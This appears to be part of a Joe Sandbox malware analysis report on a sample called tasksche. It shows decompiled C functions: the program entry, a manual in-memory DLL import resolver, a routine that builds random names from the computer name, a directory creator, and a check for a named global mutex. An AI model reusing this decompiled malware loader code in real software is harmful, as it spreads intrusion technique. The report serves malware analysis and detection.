                                                                                                • Instruction ID: fabf2a0aaa91e867d54492d1ca24e81fc8ed090543e33b3e61fa812da4358066
                                                                                                • Opcode Fuzzy Hash: 520ef4afec62fe4405832db260c3c6b21caa087d375fb1c1d919acb3a27097cb
                                                                                                • Instruction Fuzzy Hash: 8D116431900229ABDB218F9ADD04ADFBF79FF04720F008426F514B65A0DB708A18DAA8
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 004077BA Relevance: 12.1, APIs: 8, Instructions: 77COMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 81%
                                                                                                			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				intOrPtr* _t23;
				intOrPtr* _t24;
				void* _t27;
				void _t29;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40d488);
				_push(0x4076f4);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x40f94c =  *0x40f94c | 0xffffffff;
				 *0x40f950 =  *0x40f950 | 0xffffffff;
				_t23 = __p__fmode();
				_t46 =  *0x40f948; // 0x0
				 *_t23 = _t46;
				_t24 = __p__commode();
				_t47 =  *0x40f944; // 0x0
				 *_t24 = _t47;
				 *0x40f954 = _adjust_fdiv;
				_t27 = E0040793F( *_adjust_fdiv);
				_t61 =  *0x40f870; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E0040793C);
				}
				E0040792A(_t27);
				_push(0x40e00c);
				_push(0x40e008);
				L00407924();
				_t29 =  *0x40f940; // 0x0
				_v112 = _t29;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x40f93c,  &_v112);
				_push(0x40e004);
				_push(0x40e000);
				L00407924();
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while(1) {
						__eflags =  *_t55 - 0x20;
						if(__eflags <= 0) {
							goto L7;
						}
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				L7:
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				_t69 = _v96.dwFlags & 0x00000001;
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_t40 = L00401FE7(_t69, GetModuleHandleA(0), 0, _t55, _t38);
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L0040791E();
				return _t41;
			}





























                                                                                                0x004077bd
                                                                                                0x004077bf
                                                                                                0x004077c4
                                                                                                0x004077cf
                                                                                                0x004077d0
                                                                                                0x004077dd
                                                                                                0x004077e2
                                                                                                0x004077e7
                                                                                                0x004077ee
                                                                                                0x004077f5
                                                                                                0x004077fc
                                                                                                0x00407802
                                                                                                0x00407808
                                                                                                0x0040780a
                                                                                                0x00407810
                                                                                                0x00407816
                                                                                                0x0040781f
                                                                                                0x00407824
                                                                                                0x00407829
                                                                                                0x0040782f
                                                                                                0x00407836
                                                                                                0x0040783c
                                                                                                0x0040783d
                                                                                                0x00407842
                                                                                                0x00407847
                                                                                                0x0040784c
                                                                                                0x00407851
                                                                                                0x00407856
                                                                                                0x0040786f
                                                                                                0x00407875
                                                                                                0x0040787a
                                                                                                0x0040787f
                                                                                                0x0040788c
                                                                                                0x0040788e
                                                                                                0x00407894
                                                                                                0x004078d0
                                                                                                0x004078d0
                                                                                                0x004078d3
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004078d5
                                                                                                0x004078d6
                                                                                                0x004078d6
                                                                                                0x00407896
                                                                                                0x00407896
                                                                                                0x00407896
                                                                                                0x00407897
                                                                                                0x0040789a
                                                                                                0x0040789c
                                                                                                0x004078a7
                                                                                                0x004078a9
                                                                                                0x004078a9
                                                                                                0x004078aa
                                                                                                0x004078aa
                                                                                                0x004078a7
                                                                                                0x004078ad
                                                                                                0x004078ad
                                                                                                0x004078b1
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004078b7
                                                                                                0x004078be
                                                                                                0x004078c4
                                                                                                0x004078c8
                                                                                                0x004078dd
                                                                                                0x004078ca
                                                                                                0x004078ca
                                                                                                0x004078ca
                                                                                                0x004078e9
                                                                                                0x004078ee
                                                                                                0x004078f2
                                                                                                0x004078f8
                                                                                                0x004078fd
                                                                                                0x004078ff
                                                                                                0x00407902
                                                                                                0x00407903
                                                                                                0x00407904
                                                                                                0x0040790b

                                                                                                APIs
                                                                                                • __set_app_type.MSVCRT(00000002), ref: 004077E7
                                                                                                • __p__fmode.MSVCRT ref: 004077FC
                                                                                                • __p__commode.MSVCRT ref: 0040780A
                                                                                                • _initterm.MSVCRT(0040E008,0040E00C), ref: 0040784C
                                                                                                • __getmainargs.MSVCRT(?,?,?,?,0040E008,0040E00C), ref: 0040786F
                                                                                                • _initterm.MSVCRT(0040E000,0040E004), ref: 0040787F
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: _initterm$__getmainargs__p__commode__p__fmode__set_app_type
                                                                                                • String ID:
                                                                                                • API String ID: 3626615345-0
                                                                                                • Opcode ID: bfbd7971593811c7fff28e35bb39fa0d644f96314b868f8e424e213b276a966c
                                                                                                • Instruction ID: 63d29f1c4e41429a3497612c8de1f509d91e94429ea3a2aefb8dc74a018e4fb3
                                                                                                • Opcode Fuzzy Hash: bfbd7971593811c7fff28e35bb39fa0d644f96314b868f8e424e213b276a966c
                                                                                                • Instruction Fuzzy Hash: 51318BB1D04344AFDB20AFA5DE49F5A7BA8BB05710F10463EF541B72E0CB786805CB59
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00407831 Relevance: 12.1, APIs: 8, Instructions: 72COMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 84%
                                                                                                			E00407831(CHAR* __ebx) {
				void* _t19;
				void _t21;
				intOrPtr _t28;
				signed int _t30;
				int _t32;
				intOrPtr* _t33;
				intOrPtr _t34;
				CHAR* _t35;
				intOrPtr _t38;
				intOrPtr* _t41;
				void* _t42;

				_t35 = __ebx;
				__setusermatherr(E0040793C);
				E0040792A(_t19);
				_push(0x40e00c);
				_push(0x40e008);
				L00407924();
				_t21 =  *0x40f940; // 0x0
				 *(_t42 - 0x6c) = _t21;
				__getmainargs(_t42 - 0x60, _t42 - 0x70, _t42 - 0x64,  *0x40f93c, _t42 - 0x6c);
				_push(0x40e004);
				_push(0x40e000);
				L00407924();
				_t41 =  *_acmdln;
				 *((intOrPtr*)(_t42 - 0x74)) = _t41;
				if( *_t41 != 0x22) {
					while(1) {
						__eflags =  *_t41 - 0x20;
						if(__eflags <= 0) {
							goto L6;
						}
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
					}
				} else {
					do {
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
						_t34 =  *_t41;
					} while (_t34 != _t35 && _t34 != 0x22);
					if( *_t41 == 0x22) {
						L5:
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
					}
				}
				L6:
				_t28 =  *_t41;
				if(_t28 != _t35 && _t28 <= 0x20) {
					goto L5;
				}
				 *(_t42 - 0x30) = _t35;
				GetStartupInfoA(_t42 - 0x5c);
				_t52 =  *(_t42 - 0x30) & 0x00000001;
				if(( *(_t42 - 0x30) & 0x00000001) == 0) {
					_t30 = 0xa;
				} else {
					_t30 =  *(_t42 - 0x2c) & 0x0000ffff;
				}
				_t32 = L00401FE7(_t52, GetModuleHandleA(_t35), _t35, _t41, _t30);
				 *(_t42 - 0x68) = _t32;
				exit(_t32);
				_t33 =  *((intOrPtr*)(_t42 - 0x14));
				_t38 =  *((intOrPtr*)( *_t33));
				 *((intOrPtr*)(_t42 - 0x78)) = _t38;
				_push(_t33);
				_push(_t38);
				L0040791E();
				return _t33;
			}














                                                                                                0x00407831
                                                                                                0x00407836
                                                                                                0x0040783d
                                                                                                0x00407842
                                                                                                0x00407847
                                                                                                0x0040784c
                                                                                                0x00407851
                                                                                                0x00407856
                                                                                                0x0040786f
                                                                                                0x00407875
                                                                                                0x0040787a
                                                                                                0x0040787f
                                                                                                0x0040788c
                                                                                                0x0040788e
                                                                                                0x00407894
                                                                                                0x004078d0
                                                                                                0x004078d0
                                                                                                0x004078d3
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004078d5
                                                                                                0x004078d6
                                                                                                0x004078d6
                                                                                                0x00407896
                                                                                                0x00407896
                                                                                                0x00407896
                                                                                                0x00407897
                                                                                                0x0040789a
                                                                                                0x0040789c
                                                                                                0x004078a7
                                                                                                0x004078a9
                                                                                                0x004078a9
                                                                                                0x004078aa
                                                                                                0x004078aa
                                                                                                0x004078a7
                                                                                                0x004078ad
                                                                                                0x004078ad
                                                                                                0x004078b1
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004078b7
                                                                                                0x004078be
                                                                                                0x004078c4
                                                                                                0x004078c8
                                                                                                0x004078dd
                                                                                                0x004078ca
                                                                                                0x004078ca
                                                                                                0x004078ca
                                                                                                0x004078e9
                                                                                                0x004078ee
                                                                                                0x004078f2
                                                                                                0x004078f8
                                                                                                0x004078fd
                                                                                                0x004078ff
                                                                                                0x00407902
                                                                                                0x00407903
                                                                                                0x00407904
                                                                                                0x0040790b

                                                                                                APIs
                                                                                                • __setusermatherr.MSVCRT(0040793C), ref: 00407836
                                                                                                  • Part of subcall function 0040792A: _controlfp.MSVCRT(00010000,00030000,00407842), ref: 00407934
                                                                                                • _initterm.MSVCRT(0040E008,0040E00C), ref: 0040784C
                                                                                                • __getmainargs.MSVCRT(?,?,?,?,0040E008,0040E00C), ref: 0040786F
                                                                                                • _initterm.MSVCRT(0040E000,0040E004), ref: 0040787F
                                                                                                • GetStartupInfoA.KERNEL32(?), ref: 004078BE
                                                                                                • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004078E2
                                                                                                • exit.MSVCRT(00000000,00000000,?,?,?,?), ref: 004078F2
                                                                                                • _XcptFilter.MSVCRT(?,?,?,?,?,?), ref: 00407904
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__setusermatherr_controlfpexit
                                                                                                • String ID:
                                                                                                • API String ID: 2141228402-0
                                                                                                • Opcode ID: e2abdc3946810ebb19c889ba728617f0f692a6676515e3c370649a79fa0f1872
                                                                                                • Instruction ID: 738ed170af38765147f9c33b7b7214e7a7d60aeb9597ff7827fffae83538cc25
                                                                                                • Opcode Fuzzy Hash: e2abdc3946810ebb19c889ba728617f0f692a6676515e3c370649a79fa0f1872
                                                                                                • Instruction Fuzzy Hash: F52135B2C04258AEEB20AFA5DD48AAD7BB8AF05304F24443FF581B7291D7786841CB59
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 004027DF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121COMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 96%
                                                                                                			E004027DF(signed int* _a4) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr* _t50;
				intOrPtr _t53;
				intOrPtr _t55;
				void* _t58;
				void _t60;
				signed int _t63;
				signed int _t67;
				intOrPtr _t68;
				void* _t73;
				signed int _t75;
				intOrPtr _t87;
				intOrPtr* _t88;
				intOrPtr* _t90;
				void* _t91;

				_t90 = _a4;
				_t2 = _t90 + 4; // 0x4be8563c
				_t87 =  *_t2;
				_t50 =  *_t90 + 0x80;
				_t75 = 1;
				_v16 = _t87;
				_v12 = _t75;
				if( *((intOrPtr*)(_t50 + 4)) != 0) {
					_t73 =  *_t50 + _t87;
					if(IsBadReadPtr(_t73, 0x14) != 0) {
						L25:
						return _v12;
					}
					while(1) {
						_t53 =  *((intOrPtr*)(_t73 + 0xc));
						if(_t53 == 0) {
							goto L25;
						}
						_t8 = _t90 + 0x30; // 0xc085d0ff
						_t55 =  *((intOrPtr*)(_t90 + 0x24))(_t53 + _t87,  *_t8);
						_v8 = _t55;
						if(_t55 == 0) {
							SetLastError(0x7e);
							L23:
							_v12 = _v12 & 0x00000000;
							goto L25;
						}
						_t11 = _t90 + 0xc; // 0x317459c0
						_t14 = _t90 + 8; // 0x85000001
						_t58 = realloc( *_t14, 4 +  *_t11 * 4);
						if(_t58 == 0) {
							_t40 = _t90 + 0x30; // 0xc085d0ff
							 *((intOrPtr*)(_t90 + 0x2c))(_v8,  *_t40);
							SetLastError(0xe);
							goto L23;
						}
						_t15 = _t90 + 0xc; // 0x317459c0
						 *(_t90 + 8) = _t58;
						 *((intOrPtr*)(_t58 +  *_t15 * 4)) = _v8;
						 *(_t90 + 0xc) =  *(_t90 + 0xc) + 1;
						_t60 =  *_t73;
						if(_t60 == 0) {
							_t88 = _t87 +  *((intOrPtr*)(_t73 + 0x10));
							_a4 = _t88;
						} else {
							_t88 =  *((intOrPtr*)(_t73 + 0x10)) + _v16;
							_a4 = _t60 + _t87;
						}
						while(1) {
							_t63 =  *_a4;
							if(_t63 == 0) {
								break;
							}
							if((_t63 & 0x80000000) == 0) {
								_t32 = _t90 + 0x30; // 0xc085d0ff
								_push( *_t32);
								_t67 = _t63 + _v16 + 2;
							} else {
								_t30 = _t90 + 0x30; // 0xc085d0ff
								_push( *_t30);
								_t67 = _t63 & 0x0000ffff;
							}
							_t68 =  *((intOrPtr*)(_t90 + 0x28))(_v8, _t67);
							_t91 = _t91 + 0xc;
							 *_t88 = _t68;
							if(_t68 == 0) {
								_v12 = _v12 & 0x00000000;
								break;
							} else {
								_a4 =  &(_a4[1]);
								_t88 = _t88 + 4;
								continue;
							}
						}
						if(_v12 == 0) {
							_t45 = _t90 + 0x30; // 0xc085d0ff
							 *((intOrPtr*)(_t90 + 0x2c))(_v8,  *_t45);
							SetLastError(0x7f);
							goto L25;
						}
						_t73 = _t73 + 0x14;
						if(IsBadReadPtr(_t73, 0x14) == 0) {
							_t87 = _v16;
							continue;
						}
						goto L25;
					}
					goto L25;
				}
				return _t75;
			}




















                                                                                                0x004027e6
                                                                                                0x004027ee
                                                                                                0x004027ee
                                                                                                0x004027f1
                                                                                                0x004027f6
                                                                                                0x004027f7
                                                                                                0x004027fa
                                                                                                0x00402801
                                                                                                0x0040280d
                                                                                                0x0040281a
                                                                                                0x0040291c
                                                                                                0x00000000
                                                                                                0x0040291f
                                                                                                0x00402825
                                                                                                0x00402825
                                                                                                0x0040282a
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00402830
                                                                                                0x00402836
                                                                                                0x0040283a
                                                                                                0x00402840
                                                                                                0x004028fd
                                                                                                0x004028fd
                                                                                                0x00402903
                                                                                                0x00000000
                                                                                                0x00402903
                                                                                                0x00402846
                                                                                                0x00402851
                                                                                                0x00402854
                                                                                                0x0040285e
                                                                                                0x004028f0
                                                                                                0x004028f6
                                                                                                0x004028fd
                                                                                                0x00000000
                                                                                                0x004028fd
                                                                                                0x00402864
                                                                                                0x0040286a
                                                                                                0x0040286d
                                                                                                0x00402870
                                                                                                0x00402873
                                                                                                0x00402877
                                                                                                0x00402889
                                                                                                0x0040288b
                                                                                                0x00402879
                                                                                                0x0040287e
                                                                                                0x00402881
                                                                                                0x00402881
                                                                                                0x0040288e
                                                                                                0x00402891
                                                                                                0x00402895
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x0040289c
                                                                                                0x004028ab
                                                                                                0x004028ab
                                                                                                0x004028b0
                                                                                                0x0040289e
                                                                                                0x0040289e
                                                                                                0x0040289e
                                                                                                0x004028a1
                                                                                                0x004028a1
                                                                                                0x004028b7
                                                                                                0x004028ba
                                                                                                0x004028bd
                                                                                                0x004028c1
                                                                                                0x004028cc
                                                                                                0x00000000
                                                                                                0x004028c3
                                                                                                0x004028c3
                                                                                                0x004028c7
                                                                                                0x00000000
                                                                                                0x004028c7
                                                                                                0x004028c1
                                                                                                0x004028d4
                                                                                                0x00402909
                                                                                                0x0040290f
                                                                                                0x00402916
                                                                                                0x00000000
                                                                                                0x00402916
                                                                                                0x004028d6
                                                                                                0x004028e4
                                                                                                0x00402822
                                                                                                0x00000000
                                                                                                0x00402822
                                                                                                0x00000000
                                                                                                0x004028ea
                                                                                                0x00000000
                                                                                                0x00402825
                                                                                                0x00000000

                                                                                                APIs
                                                                                                • IsBadReadPtr.KERNEL32(00000000,00000014,00000000,00000001,00000000,?!@,004023F5,00000000), ref: 00402812
                                                                                                • realloc.MSVCRT(85000001,317459C0), ref: 00402854
                                                                                                • IsBadReadPtr.KERNEL32(-00000014,00000014), ref: 004028DC
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: Read$realloc
                                                                                                • String ID: ?!@
                                                                                                • API String ID: 1241503663-708128716
                                                                                                • Opcode ID: 3ef8fdaf83090ca6dd9f312f51019f46009b35537f3f51f7116a8d4e5983476b
                                                                                                • Instruction ID: b911edbb3638e6438919fa35cb7379f64586f657f287b8edbc273cd359ebb62a
                                                                                                • Opcode Fuzzy Hash: 3ef8fdaf83090ca6dd9f312f51019f46009b35537f3f51f7116a8d4e5983476b
                                                                                                • Instruction Fuzzy Hash: 4841AE76A00205EFDB109F55CE49B5ABBF4FF44310F24803AE846B62D1D7B8E900DB59
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00401225 Relevance: 10.6, APIs: 7, Instructions: 87COMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 86%
                                                                                                			E00401225(intOrPtr _a4) {
				signed int _v8;
				long _v12;
				void _v410;
				long _v412;
				long _t34;
				signed int _t42;
				intOrPtr _t44;
				signed int _t45;
				signed int _t48;
				int _t54;
				signed int _t56;
				signed int _t60;
				signed int _t61;
				signed int _t62;
				void* _t71;
				signed short* _t72;
				void* _t76;
				void* _t77;

				_t34 =  *0x40f874; // 0x0
				_v412 = _t34;
				_t56 = 0x63;
				_v12 = 0x18f;
				memset( &_v410, 0, _t56 << 2);
				asm("stosw");
				GetComputerNameW( &_v412,  &_v12);
				_v8 = _v8 & 0x00000000;
				_t54 = 1;
				if(wcslen( &_v412) > 0) {
					_t72 =  &_v412;
					do {
						_t54 = _t54 * ( *_t72 & 0x0000ffff);
						_v8 = _v8 + 1;
						_t72 =  &(_t72[1]);
					} while (_v8 < wcslen( &_v412));
				}
				srand(_t54);
				_t42 = rand();
				_t71 = 0;
				asm("cdq");
				_t60 = 8;
				_t76 = _t42 % _t60 + _t60;
				if(_t76 > 0) {
					do {
						_t48 = rand();
						asm("cdq");
						_t62 = 0x1a;
						 *((char*)(_t71 + _a4)) = _t48 % _t62 + 0x61;
						_t71 = _t71 + 1;
					} while (_t71 < _t76);
				}
				_t77 = _t76 + 3;
				while(_t71 < _t77) {
					_t45 = rand();
					asm("cdq");
					_t61 = 0xa;
					 *((char*)(_t71 + _a4)) = _t45 % _t61 + 0x30;
					_t71 = _t71 + 1;
				}
				_t44 = _a4;
				 *(_t71 + _t44) =  *(_t71 + _t44) & 0x00000000;
				return _t44;
			}





















                                                                                                0x0040122e
                                                                                                0x00401239
                                                                                                0x00401240
                                                                                                0x00401249
                                                                                                0x00401250
                                                                                                0x00401252
                                                                                                0x0040125f
                                                                                                0x0040126b
                                                                                                0x00401277
                                                                                                0x0040127e
                                                                                                0x00401280
                                                                                                0x00401286
                                                                                                0x00401289
                                                                                                0x0040128c
                                                                                                0x00401297
                                                                                                0x0040129d
                                                                                                0x00401286
                                                                                                0x004012a1
                                                                                                0x004012ae
                                                                                                0x004012b2
                                                                                                0x004012b4
                                                                                                0x004012b5
                                                                                                0x004012ba
                                                                                                0x004012be
                                                                                                0x004012c0
                                                                                                0x004012c0
                                                                                                0x004012c4
                                                                                                0x004012c5
                                                                                                0x004012ce
                                                                                                0x004012d1
                                                                                                0x004012d2
                                                                                                0x004012c0
                                                                                                0x004012d6
                                                                                                0x004012d9
                                                                                                0x004012dd
                                                                                                0x004012e1
                                                                                                0x004012e2
                                                                                                0x004012eb
                                                                                                0x004012ee
                                                                                                0x004012ee
                                                                                                0x004012f1
                                                                                                0x004012f4
                                                                                                0x004012fc

                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: rand$wcslen$ComputerNamesrand
                                                                                                • String ID:
                                                                                                • API String ID: 3058258771-0
                                                                                                • Opcode ID: b0791ced207a07d975efd615d75f91e7379ad7fc4ff6fb2c179a53625b9ec986
                                                                                                • Instruction ID: 153b78e0bdef4b648922335b0398b7079fc1e42e5dbb3c53d325bf346215f47a
                                                                                                • Opcode Fuzzy Hash: b0791ced207a07d975efd615d75f91e7379ad7fc4ff6fb2c179a53625b9ec986
                                                                                                • Instruction Fuzzy Hash: FA212833A00318ABD7119B65ED81BDD77A8EB45354F1100BBF948F71C0CA759EC28BA8
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00407070 Relevance: 10.6, APIs: 7, Instructions: 74stringCOMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 100%
                                                                                                			E00407070(char* _a4, char* _a8) {
				char _v264;
				void _v524;
				long _t16;
				char* _t30;
				char* _t31;
				char* _t36;
				char* _t38;
				int _t40;
				void* _t41;

				_t30 = _a4;
				if(_t30 != 0 && GetFileAttributesA(_t30) == 0xffffffff) {
					CreateDirectoryA(_t30, 0);
				}
				_t36 = _a8;
				_t16 =  *_t36;
				if(_t16 != 0) {
					_t38 = _t36;
					_t31 = _t36;
					do {
						if(_t16 == 0x2f || _t16 == 0x5c) {
							_t38 = _t31;
						}
						_t16 = _t31[1];
						_t31 =  &(_t31[1]);
					} while (_t16 != 0);
					if(_t38 != _t36) {
						_t40 = _t38 - _t36;
						memcpy( &_v524, _t36, _t40);
						 *(_t41 + _t40 - 0x208) =  *(_t41 + _t40 - 0x208) & 0x00000000;
						E00407070(_t30,  &_v524);
					}
					_v264 = _v264 & 0x00000000;
					if(_t30 != 0) {
						strcpy( &_v264, _t30);
					}
					strcat( &_v264, _t36);
					_t16 = GetFileAttributesA( &_v264);
					if(_t16 == 0xffffffff) {
						return CreateDirectoryA( &_v264, 0);
					}
				}
				return _t16;
			}












                                                                                                0x0040707a
                                                                                                0x00407080
                                                                                                0x00407091
                                                                                                0x00407091
                                                                                                0x00407097
                                                                                                0x0040709a
                                                                                                0x0040709e
                                                                                                0x004070a5
                                                                                                0x004070a7
                                                                                                0x004070a9
                                                                                                0x004070ab
                                                                                                0x004070b1
                                                                                                0x004070b1
                                                                                                0x004070b3
                                                                                                0x004070b6
                                                                                                0x004070b7
                                                                                                0x004070bd
                                                                                                0x004070bf
                                                                                                0x004070ca
                                                                                                0x004070cf
                                                                                                0x004070df
                                                                                                0x004070e4
                                                                                                0x004070e7
                                                                                                0x004070f1
                                                                                                0x004070fb
                                                                                                0x00407101
                                                                                                0x0040710a
                                                                                                0x00407118
                                                                                                0x00407121
                                                                                                0x00000000
                                                                                                0x0040712c
                                                                                                0x00407121
                                                                                                0x00407135

                                                                                                APIs
                                                                                                • GetFileAttributesA.KERNEL32(?,?,?), ref: 00407083
                                                                                                • CreateDirectoryA.KERNEL32(?,00000000), ref: 00407091
                                                                                                • memcpy.MSVCRT(?,0000002F,0000002F,?,?,?), ref: 004070CA
                                                                                                • strcpy.MSVCRT(00000000,?,?,?), ref: 004070FB
                                                                                                • strcat.MSVCRT(00000000,0000002F,?,?), ref: 0040710A
                                                                                                • GetFileAttributesA.KERNEL32(00000000,?,?), ref: 00407118
                                                                                                • CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0040712C
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: AttributesCreateDirectoryFile$memcpystrcatstrcpy
                                                                                                • String ID:
                                                                                                • API String ID: 2935503933-0
                                                                                                • Opcode ID: 0838382564994867704b48d197d9141456e9ef10b941a736ac2fad3accdc9566
                                                                                                • Instruction ID: 50ba023859918e707bf45bf33fbe73a6a33da9a39eec2eddc6b78618a8cc3524
                                                                                                • Opcode Fuzzy Hash: 0838382564994867704b48d197d9141456e9ef10b941a736ac2fad3accdc9566
                                                                                                • Instruction Fuzzy Hash: 1A112B72C0821456CB305B749D88FD7776C9B11320F1403BBE595B32C2DA78BD898669
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00401EFF Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35sleepCOMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 100%
                                                                                                			E00401EFF(intOrPtr _a4) {
				char _v104;
				void* _t9;
				void* _t11;
				void* _t12;

				sprintf( &_v104, "%s%d", "Global\\MsWinZonesCacheCounterMutexA", 0);
				_t12 = 0;
				if(_a4 <= 0) {
					L3:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t9 = OpenMutexA(0x100000, 1,  &_v104);
					if(_t9 != 0) {
						break;
					}
					Sleep(0x3e8);
					_t12 = _t12 + 1;
					if(_t12 < _a4) {
						continue;
					}
					goto L3;
				}
				CloseHandle(_t9);
				_t11 = 1;
				return _t11;
			}







                                                                                                0x00401f16
                                                                                                0x00401f1c
                                                                                                0x00401f24
                                                                                                0x00401f4c
